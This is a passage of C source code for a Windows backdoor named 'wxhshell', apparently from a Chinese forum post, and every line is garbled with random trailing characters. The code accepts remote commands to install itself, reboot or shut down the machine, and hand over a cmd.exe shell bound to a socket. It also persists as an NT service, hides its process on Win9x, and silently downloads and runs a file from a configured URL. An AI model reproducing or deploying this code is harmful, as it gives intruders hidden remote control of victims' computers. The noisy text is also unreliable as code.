  else { ;a>u7rw  
(K8Ob3zN_  
    switch(cmd[0]) { R@pY+d9qp  
  U$OI]Dd9  
  // 帮助 QD3tM5(Yr  
  case '?': { })70S8k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uY>M3h#qx  
    break; FP=27=  
  } U/kQwrM  
  // 安装 U+>M@!=  
  case 'i': { 6| B9kh}  
    if(Install()) H I_uR$m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q 318a0  
    else 6i+,/vr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &V~l(1  
    break; "OwVCym?  
    } =+wd"Bu  
  // 卸载 NNbdP;=:u  
  case 'r': { <,GVrVH=t"  
    if(Uninstall()) I-g/ )2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  P33xt~  
    else 9NU0K2S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_z(ft.  
    break; >O24#!9XW  
    } E}S%yD[  
  // 显示 wxhshell 所在路径 o.fqJfpj  
  case 'p': { EV{Ys}3M  
    char svExeFile[MAX_PATH]; 3Y2~HuM  
    strcpy(svExeFile,"\n\r"); `q<W %'Tb$  
      strcat(svExeFile,ExeFile); HrsG^x  
        send(wsh,svExeFile,strlen(svExeFile),0); zM=MFKhi ~  
    break; ;T WLo_  
    } v '+]T=  
  // 重启 ;H~<.QW  
  case 'b': { nDC0^&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S=mqxIo@m  
    if(Boot(REBOOT)) wTa u.Bo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X@DW1<wEt  
    else { 9ET1Er{4  
    closesocket(wsh); 18Y#=uH}  
    ExitThread(0); "hf |7E_  
    } ={ms@/e/T  
    break; LQ# E+id&  
    } TMj;NSc3  
  // 关机 ciS,  
  case 'd': { Mq Ai}z%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;cI*"-I:F  
    if(Boot(SHUTDOWN)) z2uL[deN'"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pqfX}x  
    else { 3J+2#ML  
    closesocket(wsh); VWE>w|'  
    ExitThread(0); 9KXL6#h  
    } ^'V :T Y  
    break; R{H[< s+n  
    } T^1 Z_|A  
  // 获取shell D=#RQ-  
  case 's': { r\;fyeH  
    CmdShell(wsh); *i]?J  
    closesocket(wsh); {?H5Pw>{%h  
    ExitThread(0); t R|dnC4U  
    break; g F*AS(9  
  } Oo|PZ_P  
  // 退出 H&)}Z6C"  
  case 'x': { =:^aBN#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W[\6h Zv  
    CloseIt(wsh); Wb-C0^dTn  
    break; X/,) KTo7  
    } .$18%jH#  
  // 离开 V95o(c.p  
  case 'q': { y?<KN0j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <e2l@@#oy  
    closesocket(wsh); $^ws#}j  
    WSACleanup(); ?RsrY4P  
    exit(1); )XN_|zCk  
    break; vk92j?  
        } %f;dn<m=c  
  } h1w({<q*ov  
  } DiFYVR<@  
.<"XE7  
  // 提示信息 "b} mVrFh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m\6/:~qWW  
} i2,4:M)CV  
  } VeYT[Us"  
y[8;mCh  
  return; :ky`)F`  
} .kT]^rv ;  
} oPO`  
// shell模块句柄 #-0e0  
int CmdShell(SOCKET sock) $UR:j8C{p$  
{ oac)na:O#  
STARTUPINFO si; Jo5Bmh0  
ZeroMemory(&si,sizeof(si)); @/ z\p7e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vK',!1]y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ :ASv>m  
PROCESS_INFORMATION ProcessInfo; mUBy*.  
char cmdline[]="cmd"; bA^uzE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n{tc{LII/  
  return 0; ,md_eGF  
} K:,V>DL  
e^y9Kmd  
// 自身启动模式 $*#a;w7\C  
int StartFromService(void) 'nCVjO7o  
{ a(gXvgrf[  
typedef struct \ruQx)5M  
{ m5K?oV@n  
  DWORD ExitStatus; ,!#Am13  
  DWORD PebBaseAddress; TeHJj`rdAU  
  DWORD AffinityMask; w*F[[*j@.  
  DWORD BasePriority; CX|W$b)%  
  ULONG UniqueProcessId; /2tA n  
  ULONG InheritedFromUniqueProcessId; 2W,9HSu8  
}   PROCESS_BASIC_INFORMATION; /K:r4Kw  
[LYO'-g^F#  
PROCNTQSIP NtQueryInformationProcess; @j!,8JQEd  
Nk'<*;e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Na0^csPm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %U\,IO`g  
TRhMxH  
  HANDLE             hProcess; cl& w/OJ#  
  PROCESS_BASIC_INFORMATION pbi; \+ se%O  
-SsgW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z|#*c5Y9w  
  if(NULL == hInst ) return 0; 'OY4Q 'Z  
jPWONz(#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z/Rp?Jz\j/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Z.6@ c7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .n8R%|C5  
<ToS&  
  if (!NtQueryInformationProcess) return 0; !0;AFv`\  
m{IlRf'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E7X6RB b  
  if(!hProcess) return 0; ;K<VT\  
+7.|1x;C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; be+-p  
9g6$"',H  
  CloseHandle(hProcess); "f91YX_)  
6z\!lOVjb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); " MnWd BS  
if(hProcess==NULL) return 0; FB6Lz5:Vf  
<B6md i'R  
HMODULE hMod; N9-0b  
char procName[255]; um9&f~M  
unsigned long cbNeeded; x6cG'3&T  
=xk>yw!O)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9PB%v.t5 y  
7Z>vQf B  
  CloseHandle(hProcess);  [N,+mX  
/stvNIEa  
if(strstr(procName,"services")) return 1; // 以服务启动 ffP]U4  
y[7M(K  
  return 0; // 注册表启动 tA1?8`bQ  
} ag'hHFV  
N@thewt|  
// 主模块 "(=g7,I4  
int StartWxhshell(LPSTR lpCmdLine) dA<%4_WZty  
{ \GEz.Vb  
  SOCKET wsl; 4)iP%%JH  
BOOL val=TRUE; d(^8#4  
  int port=0; d9 [j4q_  
  struct sockaddr_in door; q^xG%YdPz+  
SPqJ [ F  
  if(wscfg.ws_autoins) Install(); b ri[&=  
x-i,v"8  
port=atoi(lpCmdLine); lw3H 8[  
.=:f]fs  
if(port<=0) port=wscfg.ws_port; ,$`} Rf<  
`)cI^!  
  WSADATA data; / =9Y(v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l~$)>?ZD  
)j2 #5`?"j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lITd{E,+r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g;Ugr8  
  door.sin_family = AF_INET; > %KEMlKZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J* !_O#  
  door.sin_port = htons(port); O.jm{x!m  
?=lb@U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < }K9 50  
closesocket(wsl); @vq)Y2)r\  
return 1; kk5&lak2V  
} T"99m^y  
'jO2pH/%  
  if(listen(wsl,2) == INVALID_SOCKET) { 0d2RB^"i  
closesocket(wsl); (+gTIcc >  
return 1; SE*;6&yL  
} mh4 VQ9  
  Wxhshell(wsl); o|>=< l  
  WSACleanup(); %3dc_YPS  
~ 6=6YP  
return 0; MR|A_e^x  
dWzf C@]  
} (}wPu&Is,C  
BcQUD?LC`  
// 以NT服务方式启动 P, ZQ*Ju  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ajkV"~w',|  
{ 1D[V{)#  
DWORD   status = 0; G\tN(%.f  
  DWORD   specificError = 0xfffffff; n',7=~  
.@x.    
  serviceStatus.dwServiceType     = SERVICE_WIN32; V=fu[#<@Ig  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mvH}G8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0Gj/yra9MO  
  serviceStatus.dwWin32ExitCode     = 0; 6Z1O:Bou  
  serviceStatus.dwServiceSpecificExitCode = 0; EwcFxLa!F  
  serviceStatus.dwCheckPoint       = 0; Zz (qc5o,F  
  serviceStatus.dwWaitHint       = 0; #IGcQY  
8\E=p+C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AHr^G'  
  if (hServiceStatusHandle==0) return; 2FdwX ,O.  
-N/n|{+F  
status = GetLastError(); 5M>p%/  
  if (status!=NO_ERROR) wL3BgCxqDL  
{ 5Bq;Vb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~i?Jg/qcxN  
    serviceStatus.dwCheckPoint       = 0; 6Jy%4]wK  
    serviceStatus.dwWaitHint       = 0; n[y=DdiKGS  
    serviceStatus.dwWin32ExitCode     = status; [jN Vk3  
    serviceStatus.dwServiceSpecificExitCode = specificError; /(||9\;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %;]/Z%!  
    return; j/O9LygB  
  } pHk$_t  
\8*j"@ !H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !1S!)#  
  serviceStatus.dwCheckPoint       = 0; KLj/,ehD !  
  serviceStatus.dwWaitHint       = 0; 6$A>%Jtwe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ucA.9pJ  
} gis;)al  
M#;"7Qg  
// 处理NT服务事件,比如:启动、停止 h0)Dj( C  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  w0`8el;  
{ 'S%H"W\  
switch(fdwControl) #f<3[BLx  
{ L Iz<fB  
case SERVICE_CONTROL_STOP: * o{7 a$V  
  serviceStatus.dwWin32ExitCode = 0; Kk`Lu S?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1]69S(  
  serviceStatus.dwCheckPoint   = 0; rXP~k]tC  
  serviceStatus.dwWaitHint     = 0; &EmG\vfE  
  { zf;sdQ;4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  stQ_Ke  
  } LwYWgT\e  
  return; 7-gT:  
case SERVICE_CONTROL_PAUSE: pO92cGJ8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TJCE6QG  
  break; 3$wK*xK  
case SERVICE_CONTROL_CONTINUE: O,JS*jXl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _"*}8{|  
  break; pX+4B=*  
case SERVICE_CONTROL_INTERROGATE: BP}@E$  
  break; Zm0'p!  
}; %=!] 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B"8jEYT5  
} kH8/8  
#q 4uS~  
// 标准应用程序主函数 1ktxG1"1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pH3<QNq5  
{ 6$[7hlE  
C;j& Vbf  
// 获取操作系统版本 0` .5gxm  
OsIsNt=GetOsVer(); ~Up{zRD"B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PD&gC88  
-We9 FO~  
  // 从命令行安装 oC-v>&bW  
  if(strpbrk(lpCmdLine,"iI")) Install(); qV6WT&)T  
]f0OmUHR5i  
  // 下载执行文件 ]IEZ?+F,  
if(wscfg.ws_downexe) { Pt f(p`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #*:^\z_Jd  
  WinExec(wscfg.ws_filenam,SW_HIDE); N<1+aL\  
} aCI3Tx&2qT  
[q U v|l1  
if(!OsIsNt) { 5VJe6i9;  
// 如果时win9x,隐藏进程并且设置为注册表启动 !|up"T I  
HideProc(); G:p85k `  
StartWxhshell(lpCmdLine); k%FA:ms|k  
} vFB^h1k~.M  
else /-,\$@J5)  
  if(StartFromService()) /0 4US5En  
  // 以服务方式启动 > (9\ cF{  
  StartServiceCtrlDispatcher(DispatchTable); VX&PkGi?o  
else O`Gq7=X  
  // 普通方式启动 xhOoZ-  
  StartWxhshell(lpCmdLine); ?:ZB'G{%E  
U(9_&sL  
return 0; P6R_W  
}
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只看该作者 1 发表于: 2006-10-10
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